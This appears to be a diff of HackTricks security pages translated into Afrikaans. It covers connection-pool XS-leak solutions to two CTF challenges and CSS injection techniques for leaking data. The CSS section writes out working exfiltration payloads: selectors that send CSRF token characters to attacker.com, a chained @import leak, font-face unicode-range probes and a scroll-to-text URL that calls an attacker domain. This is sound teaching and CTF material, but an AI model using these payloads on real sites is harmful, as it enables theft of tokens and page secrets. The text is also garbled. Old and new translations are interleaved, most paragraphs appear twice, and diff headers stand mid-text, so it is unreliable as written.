In hierdie uitdaging is die doel om 'n vlag te exfiltreer wat in die bots web sessie binne 'n pos sal verskyn. Dit is die bates wat die aanvaller het:
* Die **bot** sal 'n **URL** besoek wat deur die aanvaller gegee word
* Die aanvaller kan **HTML inspuit** in die bladsy (maar geen JS nie, dompurify word gebruik) deur 'n **CSRF** te misbruik om die **bot 'n pos** met daardie HTML te laat skep.
* Die aanvaller kan 'n CSRF misbruik om die **bot** die **eerste pos** in die web te **verwyder**.
* Omdat die **pos** **alfabeties** georden is, as die **eerste pos verwyder** word, beteken dit dat as die HTML-inhoud van die aanvaller **gelaai** word, dit **alfabeties voor die vlag** was.
* Die **bot** sal 'n **URL** besoek wat deur die aanvaller gegee is
* Die aanvaller kan **HTML** in die bladsy **invoeg** (maar geen JS, dompurify word gebruik nie) deur 'n **CSRF** te misbruik wat die **bot laat 'n pos skep** met daardie HTML.
* Die aanvaller kan 'n CSRF misbruik om die **bot** te laat **verwyder** die **eerste** **pos** binne die web.
* Omdat die **poste** **alfabeties** georden is, wanneer die **eerste pos verwyder** word, as die **HTML** inhoud van die aanvaller **gelaai** word, beteken dit dat dit **alfabeties voor die vlag** was.
Om die vlag te steel, is die oplossing wat deur @Strellyc\_ voorgestel word, om vir elke karakter wat getoets moet word, die bot te laat:
Daarom, om die vlag te steel, is die oplossing wat deur @Strellyc\_ voorgestel word, om, **vir elke karakter om te toets** die bot te laat:
* Skep 'n **nuwe pos** wat begin met die bekende deel van die **vlag** en verskeie **img**-laaiings.
* **Verwyder** die **pos** op posisie **0**.
* Blokkeer 255 sokkels.
* 'n **nuwe pos** te skep wat **begin** met die bekende deel van die **vlag** en verskeie **img** **laai**.
* **Verwyder** die **pos** in posisie **0**.
* Blok 255 sokkies.
* Laai die bladsy met die poste
* Voer 5 lukrake versoek na 'n webwerf uit (example.com in hierdie geval) en meet die tyd wat dit neem.
* Voer 5 ewekansige versoeke na 'n webwerf uit (example.com in hierdie geval) en meet die tyd wat dit neem.
{% hint style="warning" %}
As die **verwyderde** pos die **vlag** was, beteken dit dat al die **ingespuitde** **afbeeldings** in die HTML gaan **stry** met die **5 lukrake versoek** vir daardie **ongeblokeerde** sokkel. Dit beteken dat die gemeetde tyd groter sal wees as die ander scenario.
As die **verwyderde** pos die **vlag** was, beteken dit dat al die **beelde** **ingesluit** in die HTML gaan **stryd** voer met die **5 ewekansige versoeke** vir daardie **onblokkede** sokkie. Dit beteken dat die gemete tyd groter gaan wees as die ander scenario.
As die **verwyderde** pos die **HTML** was, sal die **5 lukrake versoek** **vinniger** wees omdat hulle nie hoef te stry vir daardie sokkel met die ingespuitde HTML nie.
As die **verwyderde** pos die **HTML** was, sal die **5 ewekansige versoeke** **vinniger** wees omdat hulle nie vir daardie sokkie met die ingeslote HTML hoef te stry nie.
{% endhint %}
### Exploit 1
Hierdie is die uitbuitingskode, geneem vanaf [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
Dit is die exploit kode, geneem van [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html
<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
@ -170,9 +171,9 @@ pwn();
};
</script>
```
### Uitbuiting 2
### Exploit 2
Dieselfde taktiek maar verskillende kode vanaf [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
Dieselfde taktiek maar ander kode van [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
```html
<!DOCTYPE html>
<html>
@ -294,17 +295,17 @@ resolve(isFound)
</html>
```
## DiceCTF 2022 - wortel
## DiceCTF 2022 - carrot
In hierdie geval was die eerste stap van die uitbuiting om 'n CSRF te misbruik om die bladsy waar die vlag bevat word te wysig sodat dit **veel meer inhoud** het (en dit neem dus langer om te laai), en dan **die verbindingspoel misbruik om die tyd te meet wat dit neem om toegang tot die bladsy te verkry** wat moontlik die vlag kan bevat.
In hierdie geval was die eerste stap van die exploit om 'n CSRF te misbruik om die bladsy waar die vlag bevat is, te wysig sodat dit **veel meer inhoud** het (en daarom neem dit meer tyd om te laai), en dan **die verbindingpoel te misbruik om die tyd te meet wat dit neem om toegang te verkry tot die bladsy** wat moontlik die vlag bevat.
In die uitbuiting kan jy sien:
In die exploit kan jy sien:
* Misbruik CSRF
* Beset al die sokkels behalwe een
* Kalibreer die respons
* Begin bruteforce deur toegang te verkry tot die potensiële bladsy met die vlag
* Die potensiële bladsy sal toegang verkry word en onmiddellik sal 'n aanvallersbeheerde URL ook toegang verkry word om te kyk hoeveel tyd beide versoek neem.
* Beset al die sokke behalwe 1
* Kalibreer die antwoord
* Begin bruteforcing deur toegang te verkry tot die potensiële bladsy met die vlag
* Die potensiële bladsy sal toeganklik wees en onmiddellik sal 'n aanvaller se beheerde URL ook toeganklik wees om te kyk hoeveel tyd beide versoeke neem.
```html
<h1>DiceCTF 2022 web/carrot</h1>
@ -506,16 +507,17 @@ exploit('dice{')
}
</script>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,21 @@
# CSS Injeksie
# CSS Injection
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Security Group**
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,11 +23,11 @@ Ander maniere om HackTricks te ondersteun:
***
## CSS Injeksie
## CSS Injection
### Eienskapskakelaar
### Attribuut Selektor
CSS-selektore is saamgestel om waardes van 'n `input` element se `name` en `value` eienskappe te pas. As die waarde-eienskap van die invoerelement met 'n spesifieke karakter begin, word 'n voorafgedefinieerde eksterne bron gelaai:
CSS selektore is ontwerp om waardes van 'n `input` element se `name` en `value` attribuut te pas. As die input element se waarde attribuut met 'n spesifieke karakter begin, word 'n vooraf gedefinieerde eksterne hulpbron gelaai:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -39,28 +40,30 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
#### Oorweging vir Versteekte Elemente
However, this approach faces a limitation when dealing with hidden input elements (`type="hidden"`) because hidden elements do not load backgrounds.
Om hierdie beperking te omseil, kan jy 'n volgende broer-element teiken deur die `~` algemene broer-kombinator te gebruik. Die CSS-reël geld dan vir al die broers wat volg op die versteekte invoerelement, wat veroorsaak dat die agtergrondbeeld laai:
#### Bypass for Hidden Elements
Om hierdie beperking te omseil, kan jy 'n daaropvolgende suster-element teiken met behulp van die `~` algemene suster-kombinator. Die CSS-reël geld dan vir alle susters wat volg op die versteekte invoerelement, wat veroorsaak dat die agtergrondbeeld laai:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
'n Praktiese voorbeeld van die uitbuiting van hierdie tegniek word in die voorsiene kodefragment in detail beskryf. Jy kan dit [hier](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) besigtig.
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Vereistes vir CSS-inspuiting
#### Voorvereistes vir CSS-inspuiting
Vir die CSS-inspuitingstegniek om effektief te wees, moet sekere voorwaardes voldoen word:
Vir die CSS-inspuitingstegniek om effektief te wees, moet sekere voorwaardes nagekom word:
1. **Lengte van Nutslading**: Die CSS-inspuitingsvektor moet voldoende lang nutsladings ondersteun om die saamgestelde kiesers te akkommodeer.
2. **CSS Her-evaluasie**: Jy moet die vermoë hê om die bladsy te raam, wat nodig is om die her-evaluasie van CSS met nuut gegenereerde nutsladings te trigger.
3. **Eksterne Hulpbronne**: Die tegniek neem aan dat die vermoë om eksterne gehuisvese beelde te gebruik, moontlik is. Dit kan beperk word deur die webwerf se Beleid vir Inhoudsekuriteit (CSP).
1. **Payload-lengte**: Die CSS-inspuitingsvektor moet voldoende lange payloads ondersteun om die vervaardigde selektore te akkommodeer.
2. **CSS-herwaardering**: Jy moet die vermoë hê om die bladsy te raam, wat nodig is om die herwaardering van CSS met nuutgegenereerde payloads te aktiveer.
3. **Buitelandse Hulpbronne**: Die tegniek neem aan dat jy die vermoë het om eksterne gehoste beelde te gebruik. Dit kan beperk wees deur die webwerf se Inhoudsekuriteitsbeleid (CSP).
### Blinde Eienskapskieser
### Blind Attribute Selector
Soos [**verduidelik in hierdie pos**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die kiesers **`:has`** en **`:not`** te kombineer om inhoud selfs van blinde elemente te identifiseer. Dit is baie nuttig wanneer jy geen idee het wat binne die webbladsy is wat die CSS-inspuiting laai nie.\
Dit is ook moontlik om daardie kiesers te gebruik om inligting uit verskeie blokke van dieselfde tipe te onttrek soos in:
As [**in hierdie pos verduidelik**](https://portswigger.net/research/blind-css-exfiltration), is dit moontlik om die selektore **`:has`** en **`:not`** te kombineer om inhoud selfs van blinde elemente te identifiseer. Dit is baie nuttig wanneer jy geen idee het wat binne die webblad is wat die CSS-inspuiting laai.\
Dit is ook moontlik om daardie selektore te gebruik om inligting uit verskeie blokke van dieselfde tipe te onttrek soos in:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -70,34 +73,34 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Die volgende **@import** tegniek kan gekombineer word met die vorige een om baie **inligting te eksfiltreer deur middel van CSS-inspuiting vanaf blinde bladsye met** [**blinde-css-eksfiltrering**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **info using CSS injection from blind pages with** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Die vorige tegniek het 'n paar nadele, kyk na die vereistes. Jy moet of in staat wees om **meervoudige skakels aan die slagoffer te stuur**, of jy moet in staat wees om **die CSS-inspuiting vatbare bladsy in 'n ifram te plaas**.
Die vorige tegniek het 'n paar nadele, kyk na die vereistes. Jy moet of in staat wees om **meervoudige skakels na die slagoffer te stuur**, of jy moet in staat wees om die **iframe die CSS-inspuitings kwesbare bladsy**.
Daar is egter 'n ander slim tegniek wat **CSS `@import`** gebruik om die kwaliteit van die tegniek te verbeter.
Dit is vir die eerste keer gewys deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) en werk so:
Dit is eerste deur [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) gewys en dit werk soos volg:
In plaas daarvan om dieselfde bladsy keer op keer te laai met tientalle verskillende vullings elke keer (soos in die vorige een), gaan ons **die bladsy net een keer laai en net met 'n invoer na die aanvaller se bediener** (dit is die vulling om aan die slagoffer te stuur):
In plaas daarvan om dieselfde bladsy keer op keer met tientalle verskillende payloads te laai (soos in die vorige), gaan ons **die bladsy net een keer laai en net met 'n invoer na die aanvallers bediener** (dit is die payload om na die slagoffer te stuur):
```css
@import url('//attacker.com:5001/start?');
```
1. Die invoer gaan **'n CSS-skrip ontvang** van die aanvallers en die **blaaier gaan dit laai**.
2. Die eerste deel van die CSS-skrip wat die aanvaller gaan stuur is **nog 'n `@import` na die aanvallers se bediener.**
3. Die aanvallers se bediener gaan nie hierdie versoek nog beantwoord nie, omdat ons wil 'n paar karakters lek en dan hierdie invoer beantwoord met die payload om die volgende te lek.
4. Die tweede en groter deel van die payload gaan 'n **kenmerk-selekteerder lek-payload** wees.
5. Dit gaan die aanvallers se bediener die **eerste karakter van die geheim en die laaste een** stuur.
6. Sodra die aanvallers se bediener die **eerste en laaste karakter van die geheim** ontvang het, gaan dit **die invoer wat in stap 2 versoek is, beantwoord**.
7. Die respons gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer gaan dit probeer om **die tweede karakter van die geheim en dan die voorlaaste** te vind.
1. Die invoer gaan **'n paar CSS-skripte** van die aanvallers ontvang en die **blaaier sal dit laai**.
2. Die eerste deel van die CSS-skrip wat die aanvaller sal stuur is **nog 'n `@import` na die aanvallers bediener weer.**
1. Die aanvallers bediener sal nog nie op hierdie versoek reageer nie, aangesien ons 'n paar karakters wil lek en dan hierdie invoer met die payload wil beantwoord om die volgende te lek.
3. Die tweede en groter deel van die payload gaan **'n attribuutkeuse lek payload** wees.
1. Dit sal die **eerste karakter van die geheim en die laaste** na die aanvallers bediener stuur.
4. Sodra die aanvallers bediener die **eerste en laaste karakter van die geheim** ontvang het, sal dit **die invoer wat in stap 2 aangevra is, beantwoord**.
1. Die antwoord gaan presies dieselfde wees as die **stappe 2, 3 en 4**, maar hierdie keer sal dit probeer om **die tweede karakter van die geheim en dan die voorlaaste** te vind.
Die aanvaller gaan **daardie lus volg totdat dit heeltemal die geheim lek**.
Die aanvaller sal **daardie lus volg totdat dit daarin slaag om die geheim heeltemal te lek**.
Jy kan die oorspronklike [**Pepe Vila se kode om hiervan gebruik te maak hier vind**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) of jy kan bykans dieselfde [**kode maar gekommentariseer hier vind**.](./#css-injection)
Jy kan die oorspronklike [**Pepe Vila se kode om dit hier te benut**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) vind of jy kan amper die [**dieselfde kode maar kommentaar hier**.](./#css-injection) vind.
{% hint style="info" %}
Die skrip gaan probeer om elke keer 2 karakters te ontdek (van die begin en van die einde) omdat die kenmerk-selekteerder dinge soos dit toelaat:
Die skrip sal probeer om 2 karakters elke keer te ontdek (van die begin en van die einde) omdat die attribuutkeuse dinge soos toelaat:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -105,29 +108,30 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Dit maak dit moontlik vir die skrif om die geheim vinniger te laat uitlek.
Dit laat die skrip toe om die geheim vinniger te lek.
{% endhint %}
{% hint style="warning" %}
Soms **detecteer die skrif nie korrek dat die ontdekte voorvoegsel + agtervoegsel reeds die volledige vlag is nie** en dit sal voortgaan (in die voorvoegsel) en agteruit (in die agtervoegsel) en op 'n punt sal dit vashaak.\
Moenie bekommerd wees nie, kontroleer net die **uitset** omdat **jy die vlag daar kan sien**.
{% hint %}
Soms **detecteer die skrip nie korrek dat die voorvoegsel + agtervoegsel wat ontdek is, reeds die volledige vlag is nie** en dit sal voortgaan (in die voorvoegsel) en agtertoe (in die agtervoegsel) en op 'n sekere punt sal dit vassteek.\
Moet nie bekommerd wees nie, kyk net na die **uitset** want **jy kan die vlag daar sien**.
{% endhint %}
### Ander kiesers
### Ander selektore
Ander maniere om DOM-dele met **CSS-kiesers** te benader:
Ander maniere om toegang tot DOM dele te verkry met **CSS selektore**:
* **`.klas-om-te-soek:nth-child(2)`**: Dit sal die tweede item met die klas "klas-om-te-soek" in die DOM soek.
* **`:leeg`** kieser: Gebruik byvoorbeeld in [**hierdie skryfstuk**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
* **`.class-to-search:nth-child(2)`**: Dit sal die tweede item met die klas "class-to-search" in die DOM soek.
* **`:empty`** selektor: Gebruike byvoorbeeld in [**hierdie skrywe**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("JOU_BEDIENER_URL?1"); }
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### Fout-gebaseerde XS-Soektog
### Fout-gebaseerde XS-Search
**Verwysing:** [Aanval gebaseer op CSS: Misbruik van unicode-reeks van @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Fout-Gebaseerde XS-Soektog PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Verwysing:** [CSS gebaseerde Aanval: Misbruik van unicode-range van @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Fout-gebaseerde XS-Search PoC deur @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Die algemene bedoeling is om **'n aangepaste lettertipe vanaf 'n beheerde eindpunt te gebruik** en te verseker dat **teks (in hierdie geval, 'A') slegs met hierdie lettertipe vertoon word as die gespesifiseerde hulpbron (`favicon.ico`) nie gelaai kan word nie**.
Die algehele bedoeling is om **'n pasgemaakte lettertipe van 'n beheerde eindpunt te gebruik** en te verseker dat **teks (in hierdie geval, 'A') slegs met hierdie lettertipe vertoon word as die gespesifiseerde hulpbron (`favicon.ico`) nie gelaai kan word nie**.
```html
<!DOCTYPE html>
<html>
@ -152,45 +156,45 @@ font-family: 'poc';
</html>
```
1. **Aangepaste Lettertipe Gebruik**:
- 'n Aangepaste lettertipe word gedefinieer deur die `@font-face` reël binne 'n `<style>` tag in die `<head>` afdeling.
- Die lettertipe word genoem `poc` en word gehaal vanaf 'n eksterne eindpunt (`http://attacker.com/?leak`).
- Die `unicode-range` eienskap word ingestel op `U+0041`, wat spesifiek die Unicode karakter 'A' teiken.
- 'n Aangepaste lettertipe word gedefinieer met die `@font-face` reël binne 'n `<style>` tag in die `<head>` afdeling.
- Die lettertipe word `poc` genoem en word van 'n eksterne eindpunt (`http://attacker.com/?leak`) afgelaai.
- Die `unicode-range` eienskap is gestel op `U+0041`, wat die spesifieke Unicode karakter 'A' teiken.
2. **Objek Element met Reserweteks**:
- 'n `<object>` element met `id="poc0"` word geskep in die `<body>` afdeling. Hierdie element probeer 'n bron laai vanaf `http://192.168.0.1/favicon.ico`.
- Die `font-family` vir hierdie element word ingestel op `'poc'`, soos gedefinieer in die `<style>` afdeling.
- As die bron (`favicon.ico`) nie laai nie, word die reserweteks (die letter 'A') binne die `<object>` tag vertoon.
- Die reserweteks ('A') sal weergegee word met die aangepaste lettertipe `poc` as die eksterne bron nie gelaai kan word nie.
2. **Objek Element met Terugvalteks**:
- 'n `<object>` element met `id="poc0"` word in die `<body>` afdeling geskep. Hierdie element probeer om 'n hulpbron van `http://192.168.0.1/favicon.ico` te laai.
- Die `font-family` vir hierdie element is gestel op `'poc'`, soos gedefinieer in die `<style>` afdeling.
- As die hulpbron (`favicon.ico`) nie kan laai nie, word die terugvalinhoud (die letter 'A') binne die `<object>` tag vertoon.
- Die terugvalinhoud ('A') sal met die aangepaste lettertipe `poc` gerender word as die eksterne hulpbron nie gelaai kan word nie.
### Stileringsrol-na-Teikenteksfragment
### Stylisering Scroll-to-Teks Fragment
Die **`:target`** pseudo-klas word gebruik om 'n element te kies wat geteiken word deur 'n **URL fragment**, soos gespesifiseer in die [CSS Kiesers Vlak 4 spesifikasie](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Dit is noodsaaklik om te verstaan dat `::target-text` geen elemente kies tensy die teks eksplisiet geteiken word deur die fragment nie.
Die **`:target`** pseudo-klas word gebruik om 'n element te kies wat geteiken word deur 'n **URL fragment**, soos gespesifiseer in die [CSS Selectors Level 4 spesifikasie](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Dit is belangrik om te verstaan dat `::target-text` nie enige elemente pas nie tensy die teks eksplisiet deur die fragment geteiken word.
'n Sekuriteitskwessie ontstaan wanneer aanvallers die **Rol-na-teks** fragmentfunksie uitbuit, wat hulle in staat stel om die teenwoordigheid van spesifieke teks op 'n webbladsy te bevestig deur 'n bron vanaf hul bediener te laai deur HTML-inspuiting. Die metode behels die inspuiting van 'n CSS-reël soos hierdie:
'n Sekuriteitskwessie ontstaan wanneer aanvallers die **Scroll-to-tekst** fragment kenmerk misbruik, wat hulle in staat stel om die teenwoordigheid van spesifieke teks op 'n webblad te bevestig deur 'n hulpbron van hul bediener deur HTML-inspuiting te laai. Die metode behels die inspuiting van 'n CSS-reël soos hierdie:
```css
:target::before { content : url(target.png) }
```
In sulke scenarios, as die teks "Administrateur" op die bladsy teenwoordig is, word die hulpbron `target.png` vanaf die bediener aangevra wanneer die teks teenwoordig is. 'n Geval van hierdie aanval kan uitgevoer word deur 'n spesiaal ontwerpte URL wat die ingeslote CSS saam met 'n Scroll-to-text fragment bevat:
In sulke scenario's, as die teks "Administrator" op die bladsy teenwoordig is, word die hulpbron `target.png` van die bediener aangevra, wat die teenwoordigheid van die teks aandui. 'n Voorbeeld van hierdie aanval kan uitgevoer word deur 'n spesiaal saamgestelde URL wat die ingeslote CSS saam met 'n Scroll-to-text fragment inkorporeer:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, met die doel om die spesifieke teks "Administrateur" deur die Scroll-to-text fragment (`#:~:text=Administrateur`) te teiken. As die teks gevind word, word die aangeduide hulpbron gelaai, wat onbedoeld sy teenwoordigheid aan die aanvaller aandui.
Hier manipuleer die aanval HTML-inspuiting om die CSS-kode oor te dra, met die doel om die spesifieke teks "Administrator" te teiken deur die Scroll-to-text fragment (`#:~:text=Administrator`). As die teks gevind word, word die aangeduide hulpbron gelaai, wat onbedoeld sy teenwoordigheid aan die aanvaller aandui.
Vir verligting moet die volgende punte in ag geneem word:
Vir versagting moet die volgende punte in ag geneem word:
1. **Beperkte STTF-passing**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te pas, wat sy vermoë om arbitrêre geheime of tokens te lek beperk.
2. **Beperking tot Top-vlak Blaaikontekste**: STTF werk slegs in top-vlak blaaikontekste en funksioneer nie binne iframes nie, wat enige uitbuitingspoging meer opvallend vir die gebruiker maak.
3. **Noodsaaklikheid van Gebruikeraktivering**: STTF vereis 'n gebruiker-aktiveringsgebaar om te werk, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verlig die risiko van outomatiese aanvalle sonder gebruikerinteraksie aansienlik. Nietemin, die skrywer van die blogpos wys op spesifieke toestande en omseilings (bv., sosiale manipulasie, interaksie met algemene blaaieruitbreidings) wat die outomatisering van die aanval kan vergemaklik.
1. **Beperkte STTF-ooreenstemming**: Scroll-to-text Fragment (STTF) is ontwerp om slegs woorde of sinne te ooreen te stem, wat sy vermoë om willekeurige geheime of tokens te lek, beperk.
2. **Beperking tot Top-niveau Blaai-kontekste**: STTF werk slegs in top-niveau blaai-kontekste en funksioneer nie binne iframes nie, wat enige poging tot uitbuiting meer opmerklik vir die gebruiker maak.
3. **Noodsaaklikheid van Gebruikeraktivering**: STTF vereis 'n gebruiker-aktiveringsgebaar om te werk, wat beteken dat uitbuitings slegs deur gebruiker-geïnisieerde navigasies moontlik is. Hierdie vereiste verminder aansienlik die risiko dat aanvalle geoutomatiseer word sonder gebruikersinteraksie. Nietemin, die blogpos se skrywer wys op spesifieke toestande en omseilings (bv. sosiale ingenieurswese, interaksie met algemene blaai-uitbreidings) wat die outomatisering van die aanval kan vergemaklik.
Bewustheid van hierdie meganismes en potensiële kwesbaarhede is sleutel tot die handhawing van websekuriteit en beskerming teen sulke uitbuitende taktieke.
Bewustheid van hierdie meganismes en potensiële kwesbaarhede is sleutels tot die handhawing van websekuriteit en die beskerming teen sulke uitbuitings taktieke.
Vir meer inligting, kyk na die oorspronklike verslag: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Jy kan 'n [**uitbuiting van hierdie tegniek vir 'n CTF hier**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) nagaan.
Jy kan 'n [**uitbuiting wat hierdie tegniek vir 'n CTF gebruik hier kyk**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Jy kan **eksterne lettertipes vir spesifieke unicode-waardes** spesifiseer wat slegs **versamel word as daardie unicode-waardes teenwoordig is** op die bladsy. Byvoorbeeld:
Jy kan **eksterne lettertipes vir spesifieke unicode waardes spesifiseer** wat slegs **versamel sal word as daardie unicode waardes in die bladsy teenwoordig is**. Byvoorbeeld:
```html
<style>
@font-face{
@ -215,22 +219,22 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
Wanneer jy hierdie bladsy besoek, haal Chrome en Firefox "?A" en "?B" binne omdat die teksnode van sensitive-information "A" en "B" karakters bevat. Maar Chrome en Firefox haal nie "?C" binne nie omdat dit nie "C" bevat nie. Dit beteken dat ons in staat was om "A" en "B" te lees.
When you access this page, Chrome en Firefox haal "?A" en "?B" op omdat die teksnode van sensitiewe-inligting "A" en "B" karakters bevat. Maar Chrome en Firefox haal nie "?C" op nie omdat dit nie "C" bevat nie. Dit beteken dat ons in staat was om "A" en "B" te lees.
### Uitlek van teksnode (I): ligature <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
